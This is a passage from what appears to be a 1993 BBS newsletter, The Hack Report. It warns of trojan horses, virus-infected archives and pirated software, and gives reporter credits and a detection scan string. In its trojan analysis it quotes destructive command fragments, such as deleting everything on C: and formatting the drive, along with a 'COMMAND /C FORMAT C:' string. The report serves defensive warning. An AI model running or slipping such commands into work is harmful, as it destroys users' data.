  1303.   Windows."  Geoffrey forwards this file info and disassembly report from
  1304.   John Eady (1:229/15, john.eady@canrem.com):
  1305.  
  1306.             Name          Length   Mod Date    Time     CRC
  1307.             ============  ======== =========  ======== ========
  1308.             LICENSE.TXT       2656 14 Feb 93  22:01:14 46B50814
  1309.             ORDER.TXT         2335 12 Feb 93  12:00:18 9D1A705E
  1310.             README.TXT        3565 14 Feb 93  23:08:08 3EA7548E
  1311.             BWE.EXE          19517 14 Feb 93  23:02:34 F1729CA4
  1312.             ============  ======== =========  ======== ========
  1313.             *total     4     28073 14 Feb 93  23:08:08
  1314.  
  1315.   "After debugging part of the virus, the following text appears (encrypted)
  1316.   in the infected program:
  1317.  
  1318.         It's time for a math test curtesy of YAM!
  1319.  
  1320.         And the question is...
  1321.  
  1322.         What is 00 + 00 =
  1323.  
  1324.         WRONG!!!! TRY AGAIN!
  1325.  
  1326.         Admiral Bailey
  1327.  
  1328.   "This virus is self-encrypting, but does not use any stealth techniques
  1329.   (as far as I've seen). It doesn't appear to infect the boot record, or
  1330.   the boot partition record. It does not appear to infect .SYS files, or
  1331.   .OV? files.
  1332.  
  1333.   "If you feel you have been infected, examine any EXE or COM files that you
  1334.   believe are infected. Check the 4th and 5th bytes in a COM file for the
  1335.   characters "BA". Check the 12th and 13th bytes in a EXE file for the
  1336.   characters "BA". If you find a file like this, chances are you have been
  1337.   infected."
  1338.  
  1339.  
  1340.   Mike Wenthold (1:271/47) found a program under the filename GS2000 which
  1341.   contained the VCL 3 [Con] Virus.  The archive contains the following
  1342.   files:
  1343.  
  1344.                Length    Date     Time    CRC      Filename
  1345.               ======== ========= ====== ======== ============
  1346.                   1984 22-Dec-91 01:40p 3527B16B GS2000.COM
  1347.                    543 22-Dec-91 01:58p DB83A2C0 GSUNP.DOC
  1348.               ======== ========= ====== ======== ============
  1349.                   2527                           2 files.
  1350.  
  1351.   The compression method (on this ZIP archive) was not included in his
  1352.   data.  According to Dave Lartique (1:3800/22) and Chris Gramer
  1353.   (1:271/47), the program is an "unprotect" for MicroProse's game Gunship
  1354.   2000.  This appears to be another isolated incident of an infected
  1355.   legitimate file.
  1356.  
  1357.  
  1358.   William Gordon (1:369/104) reports BEV105, a file that claims to be a
  1359.   "Beverly Hills 90210 Adventure Game."  This file contains 8 files, but
  1360.   two seem to be the real culprits:  DORINFO.DIR and INSTALL.COM.  The
  1361.   installation renames the DORINFO.DIR file to IDCKILL.EXE and invokes it.
  1362.   This program asks for some sort of wildcard according to William, then
  1363.   proceeds to delete everything on your drive that matches that wildcard.
  1364.   However, it doesn't stop there:  it continues on and deletes all .bat,
  1365.   .fon, .com, .zip, .sys, .ice, .ans, .arj, and .exe files.  William also
  1366.   says the file "comes with the following virii:  Bootkill and Genesis."
  1367.  
  1368.   A copy of this file was sent to Mr. White and Mr. Logan, who were able to
  1369.   confirm the behaviour that William reported.  For the complete results of
  1370.   their test, see the file BEV105.RES in the FILETSTS.LZH archive, included
  1371.   in the archive version of The Hack Report.
  1372.  
  1373.  
  1374.   Another report from Bill concerns a file he located called TAXTIP93.
  1375.   This archive contains a file called TAXTIP93.DAT, which the executable
  1376.   file, TAXTIPS.EXE, renames to MOUSE.COM and tries to copy to your DOS and
  1377.   WINDOWS directory.  The new MOUSE.COM is infected with the ADA virus.
  1378.  
  1379.  
  1380.   Brian Chan (Internet, chanav@sfu.ca) found a file called PASSPRO, which
  1381.   was described with a very short line ("'Password,' or some other short
  1382.   word," according to Brian).  The archive contained these files:
  1383.  
  1384.                                PASS    .PA1
  1385.                                PASS    .PA2
  1386.                                PASS    .PA3
  1387.                                PASSWORD.COM
  1388.  
  1389.   Brian looked inside the .com file, which he says looks like a compiled
  1390.   batch file, and found these strings/commands:
  1391.  
  1392.       Please Wait While Loading;
  1393.       It may take in between 30seconds to 5 minutes
  1394.       To unshrink nessessary files
  1395.       Please Turn off Screen, and wait for the beep.
  1396.       If You do not, your screen might not function
  1397.       the way it should.
  1398.       Turn Off Screen now, and press the space bar.
  1399.  
  1400.       /C REN pass.pa1 pa.exe
  1401.       pass.pa2 /C DEL c:\*.*
  1402.       pass.pa2 /C DEL c:\dos\*.*
  1403.       /C REN pa.exe pass.pa1
  1404.       pass.pa3 FORMAT
  1405.       c:
  1406.       /C CLS
  1407.  
  1408.   As you can see, PASS.PA1 gets renamed to PA.EXE - the file, compressed
  1409.   with PKLite, is actually Microsoft's MS-DOS ATTRIB.EXE program.  PASS.PA2
  1410.   contains the single letter 'Y', and PASS.PA3 contains the single word
  1411.   'Yes'.  From the looks of things, this turns out to be a multipartite
  1412.   Trojan that attempts to format (what else?) your hard drive.
  1413.  
  1414.  
  1415.   Another multipartite Trojan was spotted by James Frazee (1:343/58), under
  1416.   the filename ADD_IT.  It contains these files:
  1417.  
  1418.                   Name of File    Size  Date
  1419.                   ADD_IT.ARJ     40888 02-11-93
  1420.                   =======================================
  1421.                   ADDIT1   DAT     34283 07-20-91   2:13a
  1422.                   ADD_IT   ANS       646 02-11-93   8:31p
  1423.                   ADDIT2   DAT     20634 04-09-91   5:00a
  1424.                   ADDIT    DOC       177 02-11-93   7:28p
  1425.                   ADDIT    COM      1391 02-11-93   8:14p
  1426.                   ADDIT3   DAT       138 02-11-93   8:13p
  1427.                   THEDRAW  PCK       650 02-11-93   8:31p
  1428.  
  1429.   When run, ADDIT.COM merges the three .DAT files into an .EXE file.  The
  1430.   end result was that the program deleted all of the files in the directory
  1431.   in which it was run.
  1432.  
  1433.  
  1434.   John Balkunas (1:107/639) forwards information on GIFCHECK.  He reports
  1435.   that Lance Merlen (1:107/614) received an upload of this file, which,
  1436.   when checked with McAfee's ViruScan v100, reported over 5 viruses in the
  1437.   files in the archive.  No internal archive data was provided, so it is
  1438.   hard to say whether or not this is an isolated incident.
  1439.  
  1440.  
  1441.   Zack Jones (1:151/173) reports a file called GAGS which was seen in the
  1442.   San Antonio area.  The file, described as "Some Christmas practical
  1443.   jokes," was analyzed by Bill Dirks (1:385/17) and confirmed as a Trojan.
  1444.   The program grabs control of several interrupt vectors, including the
  1445.   critical error handler.  The only way to stop it once it starts is to hit
  1446.   the reset button or power down.
  1447.  
  1448.   When invoked, it displays a countdown from 8 to 0, which corresponds to
  1449.   drives H through A, in that order.  For each found drive, it overwrites
  1450.   the first 255 sectors with random data from a block of memory.  To add
  1451.   insult to injury, if drives B and A are empty, you are prompted to insert
  1452.   disks (so that they can be trashed as well).
  1453.  
  1454.   After this, the Trojan displays the message, including something like,
  1455.   "the disk was trashed but it's only a joke and they are only kidding."
  1456.   It then prompts you to reboot, which is rather hard to do unless you have
  1457.   a bootable "panic disk" floppy on hand - you certainly won't be able to
  1458.   boot from your HD.
  1459.  
  1460.   Bill says that if your HD is smaller than 60 megs, you're better off
  1461.   trying to recover your disk from scratch.  Between 60-120 megs, you have
  1462.   a better chance of recovery via disk utilities:  over 120 megs, you
  1463.   should be able to accomplish a complete recovery if you're careful and
  1464.   you know what you're doing.
  1465.  
  1466.   Bill posted the following scan string that can be used to detect this
  1467.   Trojan - if your scanner can use external strings, be sure to read the
  1468.   instructions carefully before trying to add this:
  1469.  
  1470.                9A46027205B003B9FF00BA0000CD26
  1471.  
  1472.   If your scanner requires a name for the string, Bill suggests using
  1473.   "AlamoXmasTrojan."
  1474.  
  1475.  
  1476.   This Trojan report comes from an article in MacWeek magazine, Volume 7,
  1477.   Number 2, issued January 11, 1993.  The article, posted in the FidoNet
  1478.   VIRUS_INFO echo by Robert Cummings, states that a program called CPro
  1479.   1.41.sea, claiming to be a new version of Compact Pro (a Macintosh
  1480.   shareware compression utility), will reformat any floppy in drive 1 and
  1481.   tries to reformat the user's start-up hard drive when launched.
  1482.  
  1483.   The file can be identified by a 312K sound resource file called "log
  1484.   jingle," which is digitized sound from the Ren and Stimpy cartoons.
  1485.  
  1486.  
  1487.   Other previously reported Trojans:
  1488.  
  1489.   Filename  Claimed use/Actual activity/Reporter(s)
  1490.   ========  ==============================================================
  1491.   AANSI100  Claims to add Auto-ANSI detect to Telegard BBSs - contains
  1492.             something called the "Malhavoc Trojan," which displays a verse
  1493.             from a Toronto band and attacks files/sectors on drives C:
  1494.             through F:.  Reported by HW Todd Clayton and by George Goode
  1495.             (1:229/15).
  1496.  
  1497.   ANSISCR   VGA BBS ad - contains a self-extracting archive of the Yankee
  1498.             Doodle and AntiChrist viruses.  Can trash hard drives as well
  1499.             through Trojan behaviour.  Reported by Bill Dirks (1:385/17),
  1500.             and under the filename RUNME by Stephen Furness (1:163/273).
  1501.  
  1502.   AVENGER   Advertised as an "amazing game that supports all kind of sound
  1503.             cards...."  Contains 2 internal password-protected .ZIP format
  1504.             files, AVENGER2.DAT and AVENGER3.DAT, which are expanded by
  1505.             the program to the files RUNTIME1.COM (N1 virus) and
  1506.             RUNTIME2.COM (Anthrax virus).  From Reinhardt Mueller, via
  1507.             HW Bill Lambdin.
  1508.  
  1509.   BATMAN    No claim reported - searches your DOS path and tries to "delete
  1510.             the executable file that loads WildCat BBSs."  Reported by
  1511.             James Powell (Intelec PC-Security Conf.), via HW Bill Lambdin.
  1512.  
  1513.   CHROME    Possible isolated incident - contains a file, FGDS.COM, which
  1514.             contains text that says "Skism Rythem Stack Virus-808."
  1515.             Reported by Richard Meyers and forwarded by Larry Dingethal
  1516.             (1:273/231).
  1517.  
  1518.   DBSOUND   Possible isolated incident - claimed update of the Drum
  1519.             Blaster .MOD file player.  Deletes all files in the current
  1520.             directory and all of its subdirectories.  From "Khamsin #1
  1521.             @9168*1", forwarded by HW Ken Whiton and HW Bill Dennison,
  1522.             from Ken Green of the CentraLink BBS.
  1523.  
  1524.   DRSLEEP   Reported as a "cheap virii (sic)", but actually appears to be
  1525.             a Trojan:  deletes your COMMAND.COM file when run.  Reported
  1526.             by Matt Hargett (1:2430/1532).
  1527.  
  1528.   GRAFIX    Possible isolated incident - contains the file WAIT.COM, which
  1529.             is a renamed copy of DELDIR.COM, a directory remover and file
  1530.             deletion tool.  Reported by Andreas Reinicke (2:284/402).
  1531.  
  1532.   LOGIM613  Possible isolated incident - one internal file, MOUSE.COM,
  1533.             reports as being infected with the VCL virus when checked with
  1534.             McAfee's ViruScan v95.  Reported by Mike Wenthold (1:271/47).
  1535.  
  1536.   MUVBACK   Claimed keyboard utility - actual ANSI bomb that remaps the D
  1537.             key of your keyboard to invoke DEBUG and create a couple of
  1538.             Trojans from script files.  Reported by Bill Dirks.
  1539.  
  1540.   OPTIBBS   Aimed at RemoteAccess BBS systems - archives your USERS.BBS
  1541.             list and places it in your download directory.  Reported by
  1542.             HW Nemrod Kedem.
  1543.  
  1544.   QOUTES    Not a misspelling - claimed Christmas quotation generator.
  1545.             Overwrites the first 128 cylinders of your first HD, requiring
  1546.             a low level format to overcome the damage (IDE drives may need
  1547.             to go back to the factory).  Reported by Gary Marden
  1548.             (2:258/27).
  1549.  
  1550.   QSCAN20   Claimed small virus scanner - when run, identifies itself as
  1551.             "being a stealth bomber" and attacks your hard drive's FAT.
  1552.             Reported by Art Mason (1:229/15).
  1553.  
  1554.   RA111TO2  Claims to upgrade RemoteAccess 1.11 to 2.0 - acts similarly to
  1555.             the OPTIBBS file reported above.  Reported by Peter Janssens
  1556.             (2:512/1).
  1557.  
  1558.   RAFIX     "Fixes little bugs" in RemoteAccess - program contains the
  1559.             string "COMMAND /C FORMAT C:" internally.  Reported by Sylvain
  1560.             Simard (1:242/158).
  1561.  
  1562.   RAMANAGE  Claimed USERS.BBS manager for RemoteAccess - yet another
  1563.             file that makes an archive of this file (MIX1.ARJ or WISE.ARJ)
  1564.             and places it in a download directory.  Reported by Peter
  1565.             Janssens.
  1566.  
  1567.             NOTE - Peter Hoek (2:281/506.15) reports a program that does
  1568.             the same thing, but uses the archive name RUNNING.ARJ to
  1569.             hold the USERS.BBS file.  No name of the Trojan was supplied.
  1570.  
  1571.   REAPER    ANSI bomb - remaps the keyboard to force file deletion and
  1572.             hard disk formatting - also generates insults.  Reported by
  1573.             Victor Padron (1:3609/14), via Rich Veraa (1:135/907).
  1574.  
  1575.   REDFOX    Batch file which deletes all DOS and system files.  Reported
  1576.             by Mike Wenthold.
  1577.  
  1578.   ROLEX     Possible isolated incident of an infection by the Keypress
  1579.             [Key] virus.  Reported by David Gibbs, via Michael Toth
  1580.             (1:115/220).
  1581.  
  1582.   SCOMP     Advertised as a compression utility.  Passes scans unless you
  1583.             check data files - loads a file called SCOMP.DAT to create
  1584.             CASPER.COM, which is apparently the Casper virus.  Reported by
  1585.             Terry Goodman (U'NI Net virus conference), via HW Bill Lambdin.
  1586.  
  1587.   SBBSFIX   Tries to format drive C: - contains two files, SBBSFIX.EXE and
  1588.             COM_P.OVL.  Reported by Clayton Mattatall (1:247/400).
  1589.  
  1590.   SPEED     Claims to "check your PC speed" - actually deletes all files
  1591.             on drive C:, including directories.  Reported by HW Nemrod
  1592.             Kedem.
  1593.  
  1594.   TDRAW460  A "modified" copy of a legitimate release of TheDraw v4.60 -
  1595.             the archive had a ZIP Comment which contained an ANSI bomb, and
  1596.             an internal file called UFO!.COM would reformat your hard drive
  1597.             unconditionally.  Reported by Matt Glosson, via Michael Toth
  1598.             (1:115/439.7).
  1599.  
  1600.   XYPHR2    No claim - contains the Power Pump companion virus (documented
  1601.             in the 1992 Full Archive of this report).  Reported by Mark
  1602.             Histed (1:268/332).
  1603.  
  1604.   YPCBR101  A copy of this file, uploaded to Simtel-20 and the oak mirror
  1605.             on archie.au, contained an infection of the Dark Avenger
  1606.             virus in the file YAPCBR.EXE.  Was supposed to be re-released
  1607.             as a clean archive.  Reported by John Miezitis (Internet,
  1608.             John.Miezitis@cc.utas.edu.au).
  1609.  
  1610.   =========================================================================
  1611.  
  1612.                         Pirated Commercial Software
  1613.  
  1614.   Program                 Archive Name(s)     Reported By
  1615.   =======                 ===============     ===========
  1616.   2400 A.D. (game)        2400AD              Kevin Brott (Internet,
  1617.                                         dp03%ccccs.uucp@pdxgate.cs.pdx.edu)
  1618.  
  1619.   3-D Pool                3DPOOL              Michael Gibbs (via HW Bill
  1620.                                                Lambdin)
  1621.  
  1622.   4DOS v4.02 (reg.)       4DOS402R            HW Scott Raymond
  1623.                           4DOSREG
  1624.  
  1625.   Airball (game)          AIRBALL             Michael Gorse (1:101/346)
  1626.  
  1627.   Alone in the Dark       ALONEDEM            Mark Mistretta (1:102/1314)
  1628.    (full game-not a demo)
  1629.  
  1630.   ArcMaster (registered)  AM91REG             HW Scott Raymond
  1631.                           AM92REG
  1632.  
  1633.   Arctic Fox (game, by    AFOX                from the Meier/Morlan List,
  1634.    Electronic Arts)                            conf. by HW Emanuel Levy
  1635.                                                and Brendt Hess (1:105/362)
  1636.  
  1637.   ARJ Archiver            ARJ239RG            HW Scott Raymond
  1638.    (registered)           AJ241ECR
  1639.  
  1640.   Arkanoid II: Revenge    ARKNOID             James Crawford (1:202/1809)
  1641.    of DoH (game)
  1642.  
  1643.   Atomix (game)           ATOMIX_             HW Matt Kracht
  1644.  
  1645.   A-Train by Maxis        ATRAIN1  through    Chris Blackwell of Maxis
  1646.                           ATRAIN6, also        (zoinks@netcom.com)
  1647.                           A-TRAIN1 through
  1648.                           A-TRAIN6
  1649.  
  1650.   BannerMania             BANMANIA            Harold Stein (1:107/236)
  1651.  
  1652.   Battle Chess            CHESS               Ron Mahan (1:123/61)
  1653. |                         BTLCHESS            Michael Wagoner (1:105/331)
  1654.  
  1655.   BeetleJuice (game)      BEETLE              Mark Harris (1:121/99)
  1656.                           BETLEJUC            Jason Robertson (1:250/802.2)
  1657.                           BJUICE              Alan Hess (1:261/1000)
  1658.                           BJ                  Bill Blakely
  1659.                                                (RIME Shareware echo)
  1660.                           BTLJWC              the Hack Squad
  1661.                                                (1:124/4007)
  1662.  
  1663.   Big Bird (game?)        BIGBIRD             Cindy McVey, via Harold Stein
  1664.  
  1665.   Budokan: the Martial    BUDOKAN             Michael Gibbs (Intelec, via
  1666.    Spirit (game)                               HW Bill Lambdin)
  1667.  
  1668.   Caveman Ninja           CAVEMAN             Dave Lartique (1:3800/22),
  1669.                                                ver. by HW Emanuel Levy
  1670.  
  1671.   Check-It PC             CHECKIT             HW Bert Bredewoud
  1672.    Diagnostic Software    CHKIT20             HW Bill Lambdin
  1673.  
  1674.   Cisco Heat (game)       CISCO               Jason Robertson
  1675.  
  1676.   Commander Keen Pt. 5    _1KEEN5             Scott Wunsch (1:140/23.1701)
  1677.                           KEEN5E              Carson Hanrahan (CompuServe,
  1678.                                                71554,2652)
  1679.  
  1680.   {COMMO} v5.4            COMO54X             Allan Bowhill (1:343/555)
  1681.  
  1682.   CompuShow GIF Viewer    CSHW860B            HW Scott Raymond
  1683.  
  1684.   Copy II PC              COPYPC70            Ryan Park (1:283/420)
  1685.  
  1686.   Cyber Chess             C-CHESS             Shane Paul, RIME, via HW
  1687.                                                Richard Steiner
  1688.  
  1689.   Darkside (game)         DARKSIDE            Ralph Busch (1:153/9)
  1690.  
  1691.   Disk Copy Fast 4.0      DCF4UNT             HW Scott Raymond
  1692. |  (registered)           DCF41AR
  1693.  
  1694.   DiskDupe Pro v4.03      DD403PRO            Jan Koopmans (2:512/163)
  1695.  
  1696.   Energizer Bunny Screen  ENERGIZR            Kurt Jacobson, PC Dynamics,
  1697.    Saver for Windows                           Inc., via HW Bill Dennison
  1698.  
  1699.   F-Prot Professional     FP206SF             Mikko Hypponen
  1700.                                                (mikko.hypponen@compart.fi)
  1701.  
  1702.   Family Feud (game)      FAM-FEUD            Harold Stein
  1703.  
  1704.   FAST! Disk Cache        FAST_1V4            Ryan Park (1:283/420), via
  1705.    v4.03.08                                    HW Bill Lambdin
  1706.  
  1707. | FaxTalk (Thought        FAXTALK             Lyle Taylor (1:293/644),
  1708. |  Communications)                             via Steve Fuqua
  1709.  
  1710. | FaxPlus (Thought        FAXPLUS             Lyle Taylor (1:293/644),
  1711. |  Communications)                             via Steve Fuqua
  1712.  
  1713.   FaxPower                FAXPWR              Carson Hanrahan (CompuServe,
  1714.                                                71544,2652)
  1715.  
  1716. | Freddy Pharkas,         FREDDY-1            HW Bob Seaborn
  1717. |  Frontier Pharmacist    FREDDY-2
  1718. |                         FREDDY-3
  1719. |                         FREDDY-4
  1720. |                         FREDDY-5
  1721. |                         FREDDY-6
  1722.  
  1723.   GEcho Mail Tosser       GE_1000K            HW Scott Raymond
  1724.                           GE_100CK
  1725.  
  1726.   GifLite 2.0 (regist.)   GL2-ECR             HW Scott Raymond
  1727.  
  1728.   Gods (game)             GODS                Ron Woods (1:134/144)
  1729.  
  1730.   Golden Axe (game)       GOLDAXE             Harold Stein
  1731.  
  1732.   GSZ Protocol Driver     GSZ0503R            HW Scott Raymond
  1733.    (registered)           GSZ0529R
  1734.  
  1735.   Home Lawyer             HOMELAWY            Kim Miller (1:103/700)
  1736.                           HMLAWYER            Harvey Woien (1:102/752)
  1737.  
  1738. | Hoyle's Classic Games   HOYLECL1            HW Bob Seaborn
  1739. |                         HOYLECL2
  1740. |                         HOYLECL3
  1741. |                         HOYLECL4
  1742.  
  1743.   HS/Link Protocol        HS121R              Don Becker (Internet,
  1744.    v1.21 (registered)                          grendel@jaflrn.linet.org)
  1745.                           HS121REG            HW Scott Raymond
  1746.  
  1747.   HyperWare Speedkit      SPKT460R            HW Scott Raymond
  1748.    v4.60 (registered)
  1749.  
  1750.   Ian Bothams Cricket     IBCTDT              Vince Sorensen (1:140/121)
  1751.  
  1752.   Intelcom Modem Test     TESTCOM             from the Meier/Morlan List,
  1753.    Utility (dist. with                         confirmed by Onno Tesink
  1754.    Intel modems)                               (RIME, via HW Richard
  1755.                                                Steiner)
  1756. |                         INTELCOM            HW Jason Robertson
  1757.  
  1758. | Intermail Mailer        IM221U              HW Scott Raymond
  1759. |  (registered)           IM22FIX
  1760.  
  1761.   Jetsons (game)          JETSONS             Kevin Brott (Internet,
  1762.                                         dp03%ccccs.uucp@pdxgate.cs.pdx.edu)
  1763.  
  1764.   Jill of the Jungle      JILL2               Harold Stein
  1765.    (non-shareware files)  JILL3
  1766.                           $JILL2              HW Bert Bredewoud
  1767.                           $JILL3
  1768.  
  1769.   Killing Cloud (game)    CLOUD               Mike Wenthold
  1770.  
  1771.   Kings of the Beach      VBALL               Jason Robertson
  1772.    (game)
  1773.  
  1774.   Landmark System         SPEED330            Larry Dingethal (1:273/242)
  1775.    Speed Test             SPEED600            Joe Morlan (1:125/28)
  1776.  
  1777.   Life & Death (game)     L&D1                Harold Stein
  1778.                           L&D2
  1779.  
  1780.   List Enhanced           LIST8               Richard Dale (1:280/333)
  1781.                           LISTE18D            HW Scott Raymond
  1782.  
  1783.   MegaMan (game)          MEGAMAN             HW Emanuel Levy
  1784.  
  1785.   Microsoft Flight        FS                  Michael Gibbs (Intelec, via
  1786.    Simulator                                   HW Bill Lambdin)
  1787. |                         FS50TDT1            HW Bob Seaborn
  1788. |                         FS50TDT2
  1789.  
  1790. | Microsoft Mouse Driver  MOUSE901            Alex Morelli (CompuServe,
  1791. |                                               75050,2130)
  1792.  
  1793.   Microsoft Ramdrive      RAMDRIVE            Barry Martin (Intelec, via
  1794.                                                 HW Bill Lambdin)
  1795.  
  1796.  
  1797.   MS-DOS 6.0              MSDOS6-1            Harold Stein
  1798.                           MSDOS6-2
  1799.                           MSDOS6-3
  1800.  
  1801.  
  1802.   Oh No, More Lemmings    ONMLEMM             Larry Dingethal (1:273/231)
  1803.    (complete-not demo)
  1804.  
  1805.   Over the Net            OTNINC1             Tim Sitzler (1:206/2708)
  1806.    (volleyball game)
  1807.  
  1808.   PGA Tour Golf           GOLF                HW Bill Lambdin
  1809.  
  1810.   PKLite (registered)     PKL15REG            HW Scott Raymond
  1811.  
  1812.   PKZip v2.04c            PK204REG            HW Scott Raymond
  1813.    (Registered)
  1814.  
  1815.   PKZip v2.04c            PKZCFG              Mark Mistretta (1:102/1314)
  1816.    Configuration Editor
  1817.  
  1818.   PKZip v2.04e            PK204ERG            HW Scott Raymond
  1819.    (Registered)
  1820.  
  1821.   PKZip v2.04g            PKZ204R             HW Bill Dennison
  1822.    (Registered)           PKZ204GR            HW Jason Robertson
  1823.  
  1824.   Populous (game)         POPULOUS            Harold Stein
  1825.  
  1826.   The Price is Right      PRICE               Harold Stein
  1827.    (game)
  1828.  
  1829.   Prince of Persia        PRINCE              Kenneth Darling (2:231/98.67)
  1830.                                               Eric Alexander (1:3613/10)
  1831.                                               HW Emanuel Levy
  1832.                           PRINCE2A            Todd Crawford (1:3616/40),
  1833.                           PRINCE2B            via HW Jeff White
  1834.                           PRINCE2C
  1835.  
  1836.   PrintShop               PSHOP               Michael Gibbs, Intelec, via
  1837.                                                HW Bill Lambdin
  1838.  
  1839.   Psion Chess             3D-CHESS            Matt Farrenkopf (1:105/376)
  1840.  
  1841.   Pyro! PC                DOSPYRO             Jay Kendall (1:141/338), via
  1842.    (Fifth Generation)                          HW Scott Raymond
  1843.  
  1844.   Q387 (registered)       Q387UTG             Michael Toth (1:115/439.7)
  1845.  
  1846.   QModem Pro              QMPRO-1             Mark Mistretta
  1847.                           QMPRO-2
  1848.  
  1849.   QuickLink II Fax v2.0.2 QLINK1              Carson Hanrahan (CompuServe,
  1850.                           QLINK2               71554,2652)
  1851.  
  1852.   Rack 'Em (game)         RACKEM              Ruth Lee (1:106/5352)
  1853.  
  1854.   Rawcopy PC              RAWCOPY             HW Chris Wise
  1855.  
  1856.   Sequencer Plus Pro      SPPRO               Tom Dunavold (Intelec,
  1857.                                                via Larry Dingethal)
  1858.  
  1859.   Shadow Warriors (game)  SHADOWG             Mark Mistretta
  1860.  
  1861.   Sharky's 3D Pool        POOL                Jason Robertson (1:250/801)
  1862.  
  1863.   Shez (Registered)       SHEZ84R             Eric Vanebrick (2:291/712)
  1864.                           SHEZ85R             HW Scott Raymond
  1865.                           SHEZ87R
  1866.                           SHEZ88R
  1867.                           SHEZ89R
  1868. |                         SHEZ91R
  1869.  
  1870.   SideKick 2.0            SK3                 Harold Stein
  1871.  
  1872.   SimCity (by Maxis)*     SIMCITY1            Peter Kirn, WildNet Shareware
  1873.                           SIMCITY2             conf., via HW Ken Whiton
  1874.                           SIMCITY3
  1875.                           SIM_CITY            Kevin Brott (Internet,
  1876.                                         dp03%ccccs.uucp@pdxgate.cs.pdx.edu)
  1877.                           SIMCTYSW            Scott Wunsch
  1878.  
  1879.   Smartdrive Disk Cache   SMARTDRV            Barry Martin (Intelec, via
  1880.                                                 HW Bill Lambdin)
  1881.                           SMTDRV40            Michael Toth (1:115/220)
  1882.  
  1883.   Spidey (game)           SPIDEY              Brian Henry (ILink,
  1884.                                                via HW Richard Steiner)
  1885.                           SPIDRMAN            Alan Hess (address unknown)
  1886.  
  1887.   Squish 2.1              SQUISH              Jason Robertson (1:250/802.2)
  1888.    (Sundog Software)      SQUISH21            Several (ver. by Joe Morlan)
  1889.  
  1890.   Star Control Vol. 4     STARCON             Carson M. Hanrahan
  1891.                                                (CompuServe 71554,2652)
  1892.  
  1893.   Streets on a Disk       STREETS             Harvey Woien
  1894.  
  1895. | SuperZModem             SZMO200             HW Jason Robertson
  1896. |  (registered)
  1897.  
  1898.   Teledisk (files         TDISK214            Mark Mistretta
  1899.    dated after Apr. 1991)
  1900.                           TELE214R            Staale Fagerland (Internet,
  1901.                                              staale.fagerland@euronetis.no)
  1902.  
  1903.   Telemate                TM411REG            HW Scott Raymond
  1904.  
  1905.   TheDraw v4.61 (reg.)    TDRW461R            HW Scott Raymond
  1906.  
  1907.   Vegas Casino 2 (game)   VEGAS2              The Hack Squad
  1908.  
  1909.   VOpt Disk Defragmenter  VOPT30              The Hack Squad
  1910.  
  1911.   VPic v6.0 (registered)  VPIC60CR            HW Scott Raymond
  1912.  
  1913.   Wheel of Fortune        WHEEL               Harold Stein
  1914.  
  1915.   Where in the USA is     CARMEN              Carson Hanrahan
  1916.    Carmen Sandiego?       CARMENUS            Cindy McVey, via Harold Stein
  1917.  
  1918.   Where in Time is        CARMENT             Cindy McVey, via Harold Stein
  1919.    Carmen Sandiego?
  1920.  
  1921.   WinWay Resume for       WINRES              Erez Carmel (CompuServe,
  1922.    Windows                                      70523,2574)
  1923.  
  1924.   World Class Rugby       WCRFNTDT            Vince Sorensen
  1925.  
  1926.   ZipMaster (registered)  ZM31REG             HW Scott Raymond
  1927.  
  1928.  
  1929.   * - Peter Kirn's report on SimCity indicated that Maxis has in fact
  1930.   released a demo of SimCity onto ZiffNet which limits play to 5 minutes.
  1931.   This is not the same file as he reported, however - the ones he found are
  1932.   indeed pirate copies.
  1933.  
  1934.   =========================================================================
  1935.  
  1936.                       ?????Questionable Programs?????
  1937.  
  1938.   This section of The Hack Report is for the "misfits" - in other words,
  1939.   files that are hacks, hoaxes, Trojans, or pirated, but either do not
  1940.   quite fit into one of the main sections of the report or require more
  1941.   explanation than the format of the appropriate section allows.  The extra
  1942.   material presented here is usually included for a good reason, so please
  1943.   take the time to read at least the new entries quite carefully.  Also, if
  1944.   you have any input on any of the listed files, do not hesitate to send it
  1945.   in to your Hack Squad.
  1946.  
  1947.  
  1948.   Quite a few folks questioned a release of Vern Buerg's LIST calling
  1949.   itself v7.8a.  This one actually came down one of the file distribution
  1950.   networks, if memory serves.  However, in response to these inquiries,
  1951.   your Hack Squad called up The Motherboard BBS, Mr. Buerg's home system.
  1952.   On that system was posted the following bulletin:
  1953.  
  1954.         ================================
  1955.     ===  July 15:  LIST78A.ZIP is bogus  ===============================
  1956.         ================================
  1957.  
  1958.     A beta test version of LIST 7.8a was uploaded to other systems by
  1959.     mistake. It is not an official version, and it has bugs, e.g. the
  1960.     mouse doesn't work.
  1961.  
  1962.     A new version will be released next week. Those waiting for
  1963.     registered copies will be sent their's first, then it will be posted
  1964.     on VOR and CIS. The manual was dramatically updated and is now 54
  1965.     pages with full color cover. We'll have some on the shelves at the
  1966.     store next week.
  1967.  
  1968.   So, this definitely qualifies as a "misfit" - it isn't a hack, hoax, or
  1969.   Trojan - it's an accident.
  1970.  
  1971.  
  1972.   Robert Jung's ARJ archiver has had a new release in non-beta form.  The
  1973.   legitimate file can be identified by an ARJ-SECURED envelope.  However,
  1974.   making equally big news (unfortunately) were several sightings of pirated
  1975.   versions of the registered v2.41 file.  These were most often seen as a
  1976.   ZIP file (?) with the following internal files:
  1977.  
  1978.      Length  Method   Size  Ratio   Date    Time    CRC-32  Name
  1979.      ------  ------   ----- -----   ----    ----   -------- ----
  1980.        1436  DeflatX    614  58%  06-09-93  16:05  23af995c README
  1981.      223594  DeflatX 222850   1%  06-04-93  09:19  fe351d41 ARJ241.EXE
  1982.      127882  Stored  127882   0%  06-04-93  09:27  54fdf489 ARJUTIL.ARJ
  1983.       55301  DeflatX  54641   2%  06-04-93  09:18  6d4e75fe UNARJ241.EXE
  1984.      244816  Stored  244816   0%  06-10-93  09:23  0abdb4be ARJHLP24.ARJ
  1985.      ------          ------  ---                            -------
  1986.      653029          650803   1%                                  5
  1987.  
  1988.   The giveaway here is the ARJUTIL.ARJ file - this contains programs that
  1989.   are only available to registered users.
  1990.  
  1991.   This causes a problem as far as listing this in the .col/.idx files is
  1992.   concerned:  the person who distributed the pirated version used the same
  1993.   filename as the real thing.  The only way you're going to be able to tell
  1994.   the pirated version from the legitimate one will be to look inside your
  1995.   copy of the archive.  If you see either the ARJUTIL.ARJ file inside, or
  1996.   the files ARJR.EXE or DEARJ.EXE, then you have the pirated copy.  Please
  1997.   delete it.  (Note - version 2.41 has been superseded - please see the
  1998.   Hacked Files section of this report for the latest version as of this
  1999.   writing.)
  2000.  
  2001.  
  2002.   Dotti Rosier (1:114/107) found a message on a local BBS system that might
  2003.   be worth reading.  The text read as follows:
  2004.  
  2005.        WARNING: Nobody download PHACS1.EXE and NETWORK1.EXE..They have
